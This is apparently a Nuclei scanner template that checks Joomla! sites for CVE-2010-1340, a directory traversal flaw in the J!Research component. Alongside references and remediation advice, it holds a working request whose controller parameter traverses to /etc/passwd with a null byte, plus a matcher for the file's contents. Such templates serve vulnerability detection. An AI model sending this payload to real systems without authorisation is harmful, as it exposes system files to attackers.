id: CVE-2010-1340 info: name: Joomla! Component com_jresearch - 'Controller' Local File Inclusion author: daffainfo severity: medium description: A directory traversal vulnerability in jresearch.php in the J!Research (com_jresearch) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. remediation: Upgrade to the latest version to mitigate this vulnerability. reference: - https://www.exploit-db.com/exploits/33797 - https://nvd.nist.gov/vuln/detail/CVE-2010-1340 - http://packetstormsecurity.org/1003-exploits/joomlajresearch-lfi.txt - https://exchange.xforce.ibmcloud.com/vulnerabilities/57123 classification: cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N cvss-score: 5 cve-id: CVE-2010-1340 cwe-id: CWE-22 epss-score: 0.01155 epss-percentile: 0.8306 cpe: cpe:2.3:a:joomla-research:com_jresearch:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: joomla-research product: com_jresearch tags: cve2010,joomla,lfi,edb,packetstorm,cve http: - method: GET path: - "{{BaseURL}}/index.php?option=com_jresearch&controller=../../../../../../../../etc/passwd%00" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200